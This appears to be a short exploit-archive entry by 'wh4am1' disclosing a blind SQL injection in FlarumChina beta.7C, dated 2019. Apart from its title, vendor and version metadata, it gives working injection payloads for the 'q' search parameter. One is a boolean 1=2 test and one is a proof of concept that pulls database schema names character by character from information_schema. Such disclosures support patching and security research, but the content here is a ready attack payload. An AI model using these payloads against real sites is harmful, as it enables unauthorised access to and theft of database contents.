# Exploit Title: FlarumChina - SQL Blind Injection
# Dork: http://127.0.0.1/?q=1%' and 1=2 --+
# Date: 2019-01-23
# Exploit Author: wh4am1
# Vulnerability Analysis Links: https://www.cnblogs.com/wh4am1/p/10257593.html
# Vendor Homepage: https://bbs.flarumchina.org
# CMS Link: https://github.com/skywalker512/FlarumChina/
# Version: beta.7C
# Category: Webapps
# Tested on: FlarumChina-beta.7C
# CVE: N/A
# POC:
# (http://localhost/?q=1%' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='f' --+)